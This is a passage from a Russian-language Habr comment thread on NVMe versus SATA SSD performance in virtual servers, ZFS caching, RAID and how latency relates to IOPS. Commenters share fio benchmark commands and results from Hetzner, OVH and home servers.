[m(6)][100.0%][r=2745MiB/s,w=2703MiB/s][r=2744,w=2702 IOPS][eta 00m:00s]\niops-test-job: (groupid=0, jobs=6): err= 0: pid=415743: Wed Dec 29 22:20:30 2021\n read: IOPS=2791, BW=2792MiB/s (2927MB/s)(164GiB/60006msec)</code></pre></div>\n </div><br/>\r\n<p>Разумеется, если я снижаюсь до 4k, то получаем сильное проседание по bandwidth, но если учесть что это виртуалка и на одном хосте их много, то оверхед и общая нагрузка сильно портят картину:</p><br/>\r\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">\n <b class=\"spoiler_title\"># fio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10</b>\n <div class=\"spoiler_text\"><pre><code class=\"plaintext\">Jobs: 6 (f=6): [m(6)][20.0%][r=96.8MiB/s,w=97.9MiB/s][r=24.8k,w=25.1k IOPS][eta 00m:48s]\nJobs: 6 (f=6): [m(6)][38.3%][r=98.9MiB/s,w=99.9MiB/s][r=25.3k,w=25.6k IOPS][eta 00m:37s]\nJobs: 6 (f=6): [m(6)][56.7%][r=99.7MiB/s,w=99.7MiB/s][r=25.5k,w=25.5k IOPS][eta 00m:26s]\nJobs: 6 (f=6): [m(6)][75.0%][r=111MiB/s,w=111MiB/s][r=28.4k,w=28.3k IOPS][eta 00m:15s]\nJobs: 6 (f=6): [m(6)][93.3%][r=107MiB/s,w=106MiB/s][r=27.3k,w=27.2k IOPS][eta 00m:04s]\nJobs: 6 (f=6): [m(6)][100.0%][r=105MiB/s,w=105MiB/s][r=26.8k,w=26.8k IOPS][eta 00m:00s]\niops-test-job: (groupid=0, jobs=6): err= 0: pid=415775: Wed Dec 29 22:29:51 2021\n read: IOPS=26.2k, BW=102MiB/s (107MB/s)(6134MiB/60002msec)</code></pre></div>\n </div><br/>\r\n<p>Очевидно что результаты, как вы выразились, \"не впечатляющие\", но если туда поставить обычные (не NVMe) SSD, они станут в несколько раз менее впечатляющими, а если учесть любовь некоторых хостеров строить хосты на ZFS, то всё совсем может оказаться печально (принудительный COW даже на блочных устройствах, компрессия и прочие радости — зато типа \"супер надёжно\").</p><br/>\r\n<p>Для сравнения — вот результат от OVH (VPS Comfort), где они тоже пишут про NVMe:</p><br/>\r\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">\n <b class=\"spoiler_title\">fio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10</b>\n <div class=\"spoiler_text\"><pre><code class=\"plaintext\">Jobs: 6 (f=6): [m(6)][18.3%][r=60.8MiB/s,w=61.6MiB/s][r=15.6k,w=15.8k IOPS][eta 00m:49s]\nJobs: 6 (f=6): [m(6)][36.1%][r=63.4MiB/s,w=62.5MiB/s][r=16.2k,w=16.0k IOPS][eta 00m:39s]\nJobs: 6 (f=6): [m(6)][52.5%][r=62.7MiB/s,w=62.5MiB/s][r=16.0k,w=16.0k IOPS][eta 00m:29s]\nJobs: 6 (f=6): [m(6)][68.9%][r=61.9MiB/s,w=62.5MiB/s][r=15.8k,w=16.0k IOPS][eta 00m:19s]\nJobs: 6 (f=6): [m(6)][85.2%][r=61.0MiB/s,w=62.5MiB/s][r=15.9k,w=16.0k IOPS][eta 00m:09s]\nJobs: 6 (f=6): [m(6)][100.0%][r=63.0MiB/s,w=62.5MiB/s][r=16.1k,w=16.0k IOPS][eta 00m:00s]\niops-test-job: (groupid=0, jobs=6): err= 0: pid=3963560: Wed Dec 29 22:11:02 2021\n read: IOPS=15.0k, BW=62.4MiB/s (65.4MB/s)(3743MiB/60003msec)</code></pre></div>\n </div><br/>\r\n<p>Очень похоже что что они ограничивают iops до 16k (слишком ровные результаты), соответственно при блоках в 4k сильно проседает и bandwidth. То же самое для 1M:</p><br/>\r\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">\n <b class=\"spoiler_title\">fio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=1m --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10</b>\n <div class=\"spoiler_text\"><pre><code class=\"plaintext\">Jobs: 6 (f=6): [m(6)][19.7%][r=1048MiB/s,w=1055MiB/s][r=1047,w=1054 IOPS][eta 00m:49s]\nJobs: 6 (f=6): [m(6)][36.1%][r=979MiB/s,w=940MiB/s][r=979,w=940 IOPS][eta 00m:39s]\nJobs: 6 (f=6): [m(6)][52.5%][r=1052MiB/s,w=961MiB/s][r=1051,w=961 IOPS][eta 00m:29s]\nJobs: 6 (f=6): [m(6)][68.9%][r=1057MiB/s,w=961MiB/s][r=1056,w=961 IOPS][eta 00m:19s]\nJobs: 6 (f=6): [m(6)][85.2%][r=1059MiB/s,w=1006MiB/s][r=1058,w=1005 IOPS][eta 00m:09s]\nJobs: 6 (f=2): [f(1),m(1),f(3),m(1)][96.8%][r=973MiB/s,w=1050MiB/s][r=973,w=1049 IOPS][eta 00m:02s]\niops-test-job: (groupid=0, jobs=6): err= 0: pid=3963793: Wed Dec 29 22:13:57 2021\n read: IOPS=1000, BW=1000MiB/s (1049MB/s)(58.7GiB/60036msec)</code></pre></div>\n </div><br/>\r\n<p>Тут уже видно что идёт ограничение по bandwitdh (слишком уж \"ровно\" оно на протяжении всего теста) — и это в два-три раза менее впечатляюще чем у Hetzner.</p><br/>\r\n<p>Собственно, я и тесты-то сделал не чтобы показать что в виртуалке можно получить максимум от NVMe — за счёт виртуализации это практически невозможно (очень большой оверхед по дороге к накопителю, особенно если виртуалок много), но использование NVMe вполне оправданно — потому что без них всё будет намного хуже, как минимум в разы, а на загруженных по i/o хостах может даже на один-два порядка — по той простой причине что условные 500K iops на NVMe дадут по 50k iops на десяти виртуалках, в то время как не менее реалистичные 100k на \"обычных\" SSD дадут соответственно по 10k, да и скорость поделится соответственно.</p><br/>\r\n<p>В качестве иллюстрации оверхеда (домашний сервер, PNY CS3030 1T как накопитель, KVM в proxmox), на этот раз на чтении:</p><br/>\r\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">\n <b class=\"spoiler_title\">fio --filename=/dev/sda --size=20G --direct=1 --rw=randread --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10 --readonly</b>\n <div class=\"spoiler_text\"><pre><code class=\"plaintext\">Jobs: 6 (f=6): [r(6)][20.0%][r=592MiB/s,w=0KiB/s][r=152k,w=0 IOPS][eta 00m:48s]\nJobs: 6 (f=6): [r(6)][38.3%][r=591MiB/s,w=0KiB/s][r=151k,w=0 IOPS][eta 00m:37s]\nJobs: 6 (f=6): [r(6)][56.7%][r=588MiB/s,w=0KiB/s][r=150k,w=0 IOPS][eta 00m:26s]\nJobs: 6 (f=6): [r(6)][75.0%][r=596MiB/s,w=0KiB/s][r=152k,w=0 IOPS][eta 00m:15s]\nJobs: 6 (f=6): [r(6)][93.3%][r=595MiB/s,w=0KiB/s][r=152k,w=0 IOPS][eta 00m:04s]\nJobs: 6 (f=6): [r(6)][100.0%][r=596MiB/s,w=0KiB/s][r=152k,w=0 IOPS][eta 00m:00s]\niops-test-job: (groupid=0, jobs=6): err= 0: pid=15829: Wed Dec 29 22:44:38 2021\n read: IOPS=150k, BW=586MiB/s (614MB/s)(34.3GiB/60001msec)</code></pre></div>\n </div><br/>\r\n<p>Это гораздо более впечатляюще чем у Hetzner, но — это сервер на котором нет нагрузки, он фактически простаивает, да и процессор на нём в пару раз пошустрее (а он важен для пути накопитель=>lvm=>vm и обратно). Теперь тот же fio на хосте через LVM который подцеплен к виртуалке:</p><br/>\r\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">\n <b class=\"spoiler_title\">fio --filename=/dev/mapper/npve-vm--222--disk--0 --size=20G --direct=1 --rw=randread --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10 --readonly</b>\n <div class=\"spoiler_text\"><pre><code class=\"plaintext\">Jobs: 6 (f=6): [r(6)][19.7%][r=893MiB/s][r=229k IOPS][eta 00m:49s]\nJobs: 6 (f=6): [r(6)][36.1%][r=886MiB/s][r=227k IOPS][eta 00m:39s]\nJobs: 6 (f=6): [r(6)][54.1%][r=892MiB/s][r=228k IOPS][eta 00m:28s]\nJobs: 6 (f=6): [r(6)][72.1%][r=889MiB/s][r=228k IOPS][eta 00m:17s]\nJobs: 6 (f=6): [r(6)][90.2%][r=893MiB/s][r=229k IOPS][eta 00m:06s]\nJobs: 6 (f=6): [r(6)][100.0%][r=900MiB/s][r=231k IOPS][eta 00m:00s]\niops-test-job: (groupid=0, jobs=6): err= 0: pid=2993571: Wed Dec 29 22:46:47 2021\n read: IOPS=229k, BW=895MiB/s (938MB/s)(52.4GiB/60001msec)</code></pre></div>\n </div><br/>\r\n<p>Как видите, просто за счёт того что это виртуалка, мы уже теряем около 40%(!) — и это она одна, другой нагрузки в системе нет и даже отключены все митигации как на хосте так и на виртуалке (mitigations=off) — разумеется если виртуалок с десяток или два, они что-то делают, а поскольку это хостер то и митигации по полной программе — мы просядем ещё больше, но это проседание будет намного менее заметным чем в случае SATA/SAS.</p><br/>\r\n<p>Так что если кто-то говорит что \"VPS получит скорость NVMe\" — он скорее всего таки врёт, но если этот кто-то говорит \"на наших хостах стоят NVMe и это сильно повышает производительность [<em>чем если бы стояли SATA/SAS</em>]\" — то это всё же скорее всего правда — об этом говорит и опыт с хостерами, и собственный (правда, не на Hyper-V).</p><br/>\r\n<p>Про RAID для NVMe тоже смешанные чувства — конечно, \"один раз не считается\", но я для эксперимента делал softRAID1 (mdadm) на двух потребительских NVMe (PNY CS3030 1T, посаженных на один PCIe x16 слот в X470D4U + Ryzen 3600X), разницы в скорости практически не было (при записи), рандомное чтение было быстрее но не помню на сколько — и это совсем не серверное железо. Увы, это было относительно давно, сборки уже нет, а результаты я не сохранял — но успех этого эксперимента позволяет мне верить что заявленное Hetzner наличие RAID 10 на их cloud серверах очень реалистично, вопреки выводам в статье про невозможность (или нецелесообразность) RAID на NVMe.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>NVMe вроде хвалят за низкую латентность.</blockquote><p>при времени доступа к nand >>50 мкс задержки шины уже особой роли не играют</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А почему вы считаете что softRAID1 (mdadm) на двух потребительских NVMe должен давать увеличение производительности? Это ведь зеркало, оно надежность увеличивает. А производительность — та же, даже падает немного.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>но нам важно, чтобы виртуальная машина попала на ту NUMA-ноду, CPU которой обслуживает NVME диск, на котором расположен образ VM. В этом случае для обращения к диску виртуальной машине не потребуется задействовать UPI линии.</blockquote><p>а зачем вам вообще двухядерные серверы?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Человек хочет параллельного чтения с дисков при рейд 1. Кейсы где только чтение и в большом количестве существуют. Но для текущих вычислительных систем чтение 7гб/с (pcie4x4) для нвме практически нецелесообразно увеличивать. Гораздо лучше обеспечить горизонтальный рост, вместо вертикального.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Все немного сложнее получается. Появляется дополнительный программный слой и дополнительный аппаратный (контроллер). <br/><br/>Только вчера читал тестирование PostgreSQL 2014 года и на SATA у них было что-то там 50 тыс. tps, а на NVMe 400 тыс. tps, а в RAM если диск держать 1500 тыс. tps.<br/><br/>Люди смотрят на такие бенчмарки и хотят, конечно, NVMe и почти x10 к работе базы. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Появляется дополнительный программный слой и дополнительный аппаратный (контроллер).</blockquote><p>вы про sata?</p><br/>\r\n<p>так и nvme не обходится без программного слоя )<br/>\r\nда, на один контроллер в цепочке cpu — nand в случае nvme меньше, но узким местом является не наличие контроллера само по себе, а достаточно узкая шина между ним и накопителем.</p><br/>\r\n<blockquote>Только вчера читал тестирование PostgreSQL 2014 года и на SATA у них было что-то там 50 тыс. tps, а на NVMe 400 тыс. tps, а в RAM если диск держать 1500 тыс. tps.</blockquote><p>ну это <em>очень</em> специфичная нагрузка, почти наверняка синтетика.</p><br/>\r\n<p>ноги растут из hdd: в те времена запросы накопители обрабатывали долго, накапливалась очередь. так как время доступа определяется механикой, то единственным способом улучшить производительность было увеличение числа шпинделей, а большие очереди — с одной стороны нормой, с другой — единственным способом утилизировать потенциальную производительность дисковой системы.<br/>\r\nс приходом ssd ситуация в корне поменялась, среднее время доступа из 5-10 мс стало 50-100 <strong>мкс</strong>, то есть на два порядка ниже (притом, как я писал выше, оно определяется nand, и особо не зависит от интерфейса); плюс оно практически не растёт до до некоторого порога нагрузки (на hdd оно растёт лавинообразно при qd>1 на шпиндель), в результате выигрыш в производительности в сравнении с hdd несколько порядков.<br/>\r\nв итоге, до некоторой (и достаточно большой для реальной жизни) нагрузки все ssd независимо от интерфейса примерно одинаковы, потом сдаётся sata, потом sas, ну а у nvme самый высокий потенциал.</p><br/>\r\n<p>ну так вот, привычка тестировать дисковую подсистему с глубиной очереди 100500 никуда не делась со времён hdd, только к реальным нагрузкам это тестирование имеет мало отношения.</p><br/>\r\n<p>условная аналогия: мы сравниваем суперкары по скорости разгона с 200 км/ч до 300 км/ч, да, это сравнение покажет какой кар круче, но к скорости передвижения в городском потоке это будет иметь мало отношения (скорость разгона до 80 км/ч, более актуальная в городе, у них, скорее всего, окажется примерно одинаковой).</p><br/>\r\n<p>P. S. весь этот текст был про случайный доступ, на последовательном sata сдаётся достаточно рано, на каких-нибудь бэкапах разница между sata и sas/nvme может быть видна невооружённым глазом.</p><br/>\r\n<p>P. P. S. с другой стороны, сегодня nvme накопители обычно стоят примерно как sata, поэтому выбирать sata никакого смысла нет. sas ssd же вообще для меня какая-то экзотика )</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Вот для примера латентность на корпоративном SSD Intel вот <a href=\"https://www.storagereview.com/review/intel-p5316-ssd-review-30-72tb\" rel=\"noopener noreferrer nofollow\">отсюда</a>.</p><figure class=\"full-width \"><img src=\"https://habrastorage.org/r/w1560/getpro/habr/upload_files/ed2/bf5/9c2/ed2bf59c2906fe188c0931c01fe5ce40.png\" width=\"810\" height=\"460\" data-src=\"https://habrastorage.org/getpro/habr/upload_files/ed2/bf5/9c2/ed2bf59c2906fe188c0931c01fe5ce40.png\"/><figcaption></figcaption></figure><p>Вот еще пример того же источника, что разные SSD могут себя сильно по разному вести при записи.</p><figure class=\"full-width \"><img src=\"https://habrastorage.org/r/w1560/getpro/habr/upload_files/b0b/b7b/170/b0bb7b17059091a1739bc9218a3ff4a3.png\" width=\"803\" height=\"458\" data-src=\"https://habrastorage.org/getpro/habr/upload_files/b0b/b7b/170/b0bb7b17059091a1739bc9218a3ff4a3.png\"/><figcaption></figcaption></figure><p>А это <a href=\"https://www.storagereview.com/review/intel-ssd-660p-series-review\" rel=\"noopener noreferrer nofollow\">пример </a>пользовательского SSD, у которого латентность 5 мс (как у HDD) уже при 25 тыс. IOPS.</p><figure class=\"full-width \"><img src=\"https://habrastorage.org/r/w1560/getpro/habr/upload_files/3c7/bac/4d6/3c7bac4d65b172c65d94eac00f4c9897.png\" width=\"850\" height=\"401\" data-src=\"https://habrastorage.org/getpro/habr/upload_files/3c7/bac/4d6/3c7bac4d65b172c65d94eac00f4c9897.png\"/><figcaption></figcaption></figure><p>Латентность - важная величина. NVMe для баз данных именно за нее и выбирают (NAND-то одинаковая и в SATA и в NVMe). Поэтому её стоит приводить в бенчмарках.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>А это пример пользовательского SSD, у которого латентность 5 мс (как у HDD) уже при 25 тыс. IOPS.</blockquote><p>так это не sata виновата, это накопитель такой )<br/>\r\nзапустил на своём s3510 чтение в 4 потока, получил 30к iops и задержки 130 мкс. в 8 потоков 150 мкс. в 16 250 мкс (вот тут уже начал насыщаться контроллер на ssd; напоминаю, что это накопитель начального уровня).<br/>\r\nзаметьте, до насыщения шины ещё далеко, она не утилизирована ещё и наполовину, так что дело точно не в шине, а в самом накопителе.</p><br/>\r\n<blockquote>Латентность — важная величина. NVMe для баз данных именно за нее и выбирают (NAND-то одинаковая и в SATA и в NVMe). Поэтому её стоит приводить в бенчмарках.</blockquote><p>на самом деле время доступа/иопсы/мегабайты в секунду элементарно пересчитываются друг в друга.<br/>\r\nиз теста в предыдущем абзаце 130 мкс задержки в 4 потока на блоках 4 КБ эквиваленты 4/130e-6 ≈ 30к iops или же 120 МБ/с.</p><br/>\r\n<p>напомню, что я изначально написал</p><br/>\r\n<blockquote>при времени доступа к nand >>50 мкс задержки шины уже особой роли не играют</blockquote><p>при qd=1 время доступа чтения будет примерно 100 мкс что на sata, что на nvme накопителях.<br/>\r\nи при qd=4, и при qd=8 тоже, я вам показал. и даже при qd=16 цифры сопоставимы.</p><br/>\r\n<p>да, при qd=1024 время доступа у nvme будет в разы меньше (а иопсы пропорционально выше), но если у вас на сервере qd=1024, то, скорее всего, что-то пошло не так.</p><br/>\r\n<p>на своих нагрузках разницу между sata и nvme накопителями в БД я вижу только в задачах вроде бэкапов; в типичной нагрузке на базу данных (если там нет seqscan'ов) разницы нет.<br/>\r\nвпрочем, повторюсь, сейчас sata ssd по сути уже не дешевле nvme, так что смысла выбирать sata нет.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Зная IOPS можно узнать и пропускную способность, умножив IOPS на размер блока. 30 000 IOPS x 4K = 120 000 K/s. = 117 MB/s.<br/><br/>А вот как латентность вычислить из IOPS? Графики выше явно говорят, что зависимость не линейная, т.е. вычислить латентность из IOPS нельзя. <br/><br/>Вернее так, если у вас бенчмарк имеет глубину 1 и 1 очередь, то да, время за которое у вас выполнится одна операция и придет подтверждение ее выполнения и является латентностью по определению. Т.е. 1/(число IOPS) = время 1 операции.<br/><br/>По мере роста глубины и потоков у вас латентность становится больше среднего времени выполнения операций за некоторое время. Т.е. вычислять латентность при Q>1 и T>1 делением 1 на IOPS нельзя.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>IOPS=QD/latency</p><br/>\r\n<p>небольшая ошибка набегает из-за усреднений, но обычно это единицы процентов.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Выполнил пример для Hetzner NVMe на Intel DC S3500 SATA, подключенным как JBOD через контроллер. Proxmox, ZFS, LXC, CentOS8.</p><p><code>fio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=60 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=10</code> </p><p>Результат в 3 раза ниже, чем у вас:</p><p>latency 31 мкс, IOPS 10k, bw 40 MB/s<br/><br/>Если бы вместо LXC был KVM, еще бы в 1.5-2 раза упало бы все.<br/><br/>Правда конечно бы на актуальных SSD сравнить c SATA и NVMe. Но похоже что да, есть смысл в NVMe.<br/><br/>З.Ы. При использовании Proxmox ZFS <a href=\"https://pve.proxmox.com/wiki/Storage\" rel=\"noopener noreferrer nofollow\">выбирают за бесплатные снапшоты</a> с локальных дисков для контейнеров, а не за супернадежность. <br/><br/></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Больше процессоров в одном юните</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Postgres там наверняка тестировали \"стандартным\" pgbench.</p><blockquote><p>ну так вот, привычка тестировать дисковую подсистему с глубиной очереди 100500 никуда не делась со времён hdd </p></blockquote><p>С малой глубиной ни о каких 1+ млн. IOPS или 7 ГБ/c не может быть и речи. Так что это не привычка, а маркетинг -)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><pre><code>fio --filename=/fio.test --size=20G --direct=1 --rw=randrw --bs=4k --ioengine=libaio --iodepth=10 --iodepth_batch_submit=10 --runtime=60 --numjobs=1 --time_based --group_reporting --name=iops-test-job --eta-newline=10</code></pre><details class=\"spoiler\"><summary>Результаты</summary><div class=\"spoiler__content\"><pre><code> read: IOPS=763, BW=3056KiB/s (3129kB/s)(183MiB/61231msec)\n slat (usec): min=4, max=785, avg=47.21, stdev=34.87\n clat (usec): min=6, max=10070k, avg=5071.20, stdev=190536.81\n lat (usec): min=273, max=10070k, avg=5118.44, stdev=190537.01\n clat percentiles (usec):\n | 1.00th=[ 343], 5.00th=[ 388], 10.00th=[ 408],\n | 20.00th=[ 433], 30.00th=[ 449], 40.00th=[ 465],\n | 50.00th=[ 478], 60.00th=[ 490], 70.00th=[ 502],\n | 80.00th=[ 519], 90.00th=[ 545], 95.00th=[ 570],\n | 99.00th=[ 1254], 99.50th=[ 1319], 99.90th=[ 2008],\n | 99.95th=[2164261], 99.99th=[9999221]\n bw ( KiB/s): min= 280, max=38896, per=100.00%, avg=18225.65, stdev=14831.77, samples=20\n iops : min= 70, max= 9724, avg=4556.40, stdev=3707.93, samples=20\n write: IOPS=759, BW=3037KiB/s (3109kB/s)(182MiB/61231msec); 0 zone resets\n slat (usec): min=8, max=10069k, avg=1263.95, stdev=100212.07\n clat (usec): min=21, max=10070k, avg=6754.43, stdev=231949.00\n lat (usec): min=262, max=10070k, avg=8018.41, stdev=252641.24\n clat percentiles (usec):\n | 1.00th=[ 347], 5.00th=[ 383], 10.00th=[ 408],\n | 20.00th=[ 433], 30.00th=[ 449], 40.00th=[ 465],\n | 50.00th=[ 478], 60.00th=[ 490], 70.00th=[ 502],\n | 80.00th=[ 519], 90.00th=[ 545], 95.00th=[ 570],\n | 99.00th=[ 1254], 99.50th=[ 1319], 99.90th=[ 2024],\n | 99.95th=[ 7415530], 99.99th=[10133439]\n bw ( KiB/s): min= 376, max=38544, per=100.00%, avg=18102.80, stdev=14618.84, samples=20\n iops : min= 94, max= 9636, avg=4525.70, stdev=3654.71, samples=20\n lat (usec) : 10=0.01%, 50=0.01%, 100=0.01%, 250=0.02%, 500=67.58%\n lat (usec) : 750=30.48%, 1000=0.01%\n lat (msec) : 2=1.80%, 4=0.03%, >=2000=0.08%</code></pre></div></details><p>Очередь 10, IOPS 5000, Вычисляем по формуле latency = QD/IOPS = 2 мс. А измеренная по бенчмарку 5-8 мс с большим среднеквадратичным отклонением.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Это можно и наглядно показать, что просто так задержку не стоит из IOPS вычислять.</p><figure class=\"full-width \"><img src=\"https://habrastorage.org/r/w1560/getpro/habr/upload_files/21c/1c3/762/21c1c37624459f592b1a8aed37245f97.png\" width=\"1432\" height=\"836\" data-src=\"https://habrastorage.org/getpro/habr/upload_files/21c/1c3/762/21c1c37624459f592b1a8aed37245f97.png\"/><figcaption></figcaption></figure></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Также при тестах из ВМ есть риск, что чтение будет из ОЗУ хоста.<br/><br/>Здесь совет такой, что отдельно измерить скорость чтения и записи и сравнить. Если скорости отличаются в 10 раз и скорость чтения близка к скорости чтения ОЗУ, очевидно чтение из ОЗУ и происходит.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>А можете уточнить объем дисков (чтобы их ТТХ посмотреть) и что за модель контроллера была.<br/><br/>Пока из того, что я вижу: <br/>1) у ZFS на 4k медленная запись.<br/>2) при подключении по NFS разницы между NVMe и SATA не очень видно (сопутствующие расходы на сеть и реализацию NFS дороже).<br/>3) разница между 10G и 100G при работе по NFS не слишком заметна.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>На графиках ZFS local чтение наверняка из ОЗУ идет.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>железо:</p><p>1: <a href=\"https://www.supermicro.com/products/system/2U/2029/SYS-2029U-TN24R4T.cfm\" rel=\"noopener noreferrer nofollow\">Supermicro SYS-2029U-TN24R4T</a> : Supermicro X11DPU ; Xeon Silver 4108 CPU x2; SSD INTEL SSDPE2KX080T8 x 6 </p><p>2: <a href=\"https://www.nvidia.com/en-us/data-center/dgx-1/\" rel=\"noopener noreferrer nofollow\">Nvidia DGX-1</a>: Xeon E5-2698 v4 x2 ; LSI MegaRAID SAS-3 3108 ; SSD SATA Samsung PM863 x4 <br/></p><p>При NFS - так и есть. Скорость удаётся поднять только если использовать RDMA, но в моём случае работало нестабильно ( периодически вешало систему). <br/></p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>может быть, в той версии ZFS что у меня ( zfs-0.8.3-1ubuntu12.13 zfs-kmod-0.8.3-1ubuntu12.13 ) , поддержка флага O_DIRECT может быть кривая. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Её там вообще нет, он просто игнорируется. Поэтому всё ZFS на NVME медленновато из-за ARC (а с крутящимися дисками - наоборот, быстрее с ZFS).</p><p>В openzfs 3.0 обещают добавить полноценную поддержку O_DIRECT.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>На актуальных всё точно также — собственно, это и меня и сподвигло перейти на NVMe в своё время, это было небо и земля даже для чисто экспериментальных проектов с кучей VM (хотя изначально я тоже был скептически настроен).</p><br/>\r\n<p>Окрылённый полученным опытом я посоветовал давнему клиенту тоже попробовать (он периодически жаловался на производительность, несмотря на то что в системе были только SSD) — в итоге он остался доволен как слон и сказал что субъективно ощущения как после пересадки с HDD на (первые) SSD — хотя конечно это зависит от задач (у него сильно нагруженный i/o кластер с k8s).</p><br/>\r\n<blockquote>Proxmox ZFS выбирают за бесплатные снапшоты</blockquote><p>В чём их бесплатность по сравнению с LVM thin? Да и при любом раскладе это \"бесплатно\" только для хостера, для клиентов это боль если (к примеру) у них там нагруженные базы или ещё что-то чему вредит COW.</p><br/>\r\n<p>ZFS и так не быстрая, и лучшее ей применение это NAS &amp; co, где данные редко модифицируются \"по месту\" (бэкапы и прочее), если её ставить на хостинг и там хорошая активность — это просто смерть производительности даже на NVMe, и это при выключенных компрессии и дедупликации, а с ними это вообще ужас-ужас — в начале всё ок но со временем за счёт фрагментации всё начинает тормозить просто ужасно, особенно если памяти на ARC не десятки гигабайт и процессор не очень многоядерный.</p><br/>\r\n<blockquote>Также при тестах из ВМ есть риск, что чтение будет из ОЗУ хоста.</blockquote><p>Риск есть только если хост принудительно включает кэш и игнорирует direct i/o — я очень сомневаюсь что Hetzner это делает, не говоря уже о том что это приводит к сильному \"загрязнению\" памяти хоста всяким мусором и в целом плохо сказывается на всех (любая VM может загнать в swap хост и сильно помешать соседям — объём кэша на процесс/пользователя не тюнится, разве что ядро патченное).</p><br/>\r\n<p>Но я делал тесты и по чтению, разумеется — результаты почти идентичны (разница в пару процентов).</p><br/>\r\n<p>Для полноты картину, вот результаты тестирования с /dev/ram0 (на той же VM):</p><br/>\r\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">\n <b class=\"spoiler_title\"># fio --filename=/dev/ram0 --size=1G --direct=1 --rw=randrw --bs=4k --ioengine=libaio --iodepth=8 --iodepth_batch_submit=8 --runtime=10 --numjobs=6 --time_based --group_reporting --name=iops-test-job --eta-newline=1</b>\n <div class=\"spoiler_text\"><pre><code class=\"plaintext\">Jobs: 6 (f=6): [m(6)][30.0%][r=1307MiB/s,w=1315MiB/s][r=335k,w=337k IOPS][eta 00m:07s]\nJobs: 6 (f=6): [m(6)][50.0%][r=1256MiB/s,w=1258MiB/s][r=321k,w=322k IOPS][eta 00m:05s]\nJobs: 6 (f=6): [m(6)][70.0%][r=1244MiB/s,w=1243MiB/s][r=319k,w=318k IOPS][eta 00m:03s]\nJobs: 6 (f=6): [m(6)][90.0%][r=1188MiB/s,w=1185MiB/s][r=304k,w=303k IOPS][eta 00m:01s]\nJobs: 6 (f=6): [m(6)][100.0%][r=1326MiB/s,w=1329MiB/s][r=339k,w=340k IOPS][eta 00m:00s]\niops-test-job: (groupid=0, jobs=6): err= 0: pid=420764: Fri Dec 31 02:51:52 2021\n read: IOPS=323k, BW=1261MiB/s (1322MB/s)(12.3GiB/10001msec)</code></pre></div>\n </div><br/>\r\n<p>Так что очень маловероятно что хост кэширует что-то — даже с учётом оверхеда виртуализации это было в пусть в два-три раза медленней, но явно не на порядок.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><p>ZFS очень агрессивен в кэшировании (direct i/o игнорирует), так что если памяти у вас достаточно (32GB или больше) вы меряете производительность самой файловой системы, а не накопителя. Поставьте ограничение на ARC чтобы файл в него точно не влезал, и добавьте <code>--fsync=1</code> к <code>fio</code> (убедившись что в ZFS не стоит <code>sync=disabled</code>) — тогда тест будет более реалистичным.</p></blockquote><p>Нет в ZFS не выключен sync. Отдельного ZIL на SSD или отдельных дисках нет. ARC к записи не имеет отношения, а ZIL пишется всегда sync. В дополнение engine в fio sync, а у вас libaio. Я специально во всех тестах sync eingine использовал. fsync на каждом блоке будет i/o scheduler ZFS просто ломать оптимизацию ZIL.Надёжности записи не добавит, а производительность снизит.</p><p> С другой стороны на SSD тоже нужно с теми-же параметрами проверять с fsync и sync engine, и также печально будет себя вести deadline IO scheduler ядра.</p><p>С другой стороны RAID-10 на SATA SSD или SAS SSD дисках даст значительный прирост к производительности относительно NVME (от кол-ва дисков конечно зависит, но прелесть SAS в том, что он серийный). Т.е. на 24Gbit SAS вы имеете шанс все это 24Gbit выжать из набора дисков. А RAID на NVME не даст никаких плюсов, т.к. всё упрётся в UPI и то как линии UPI разведены.</p></div>", "<div 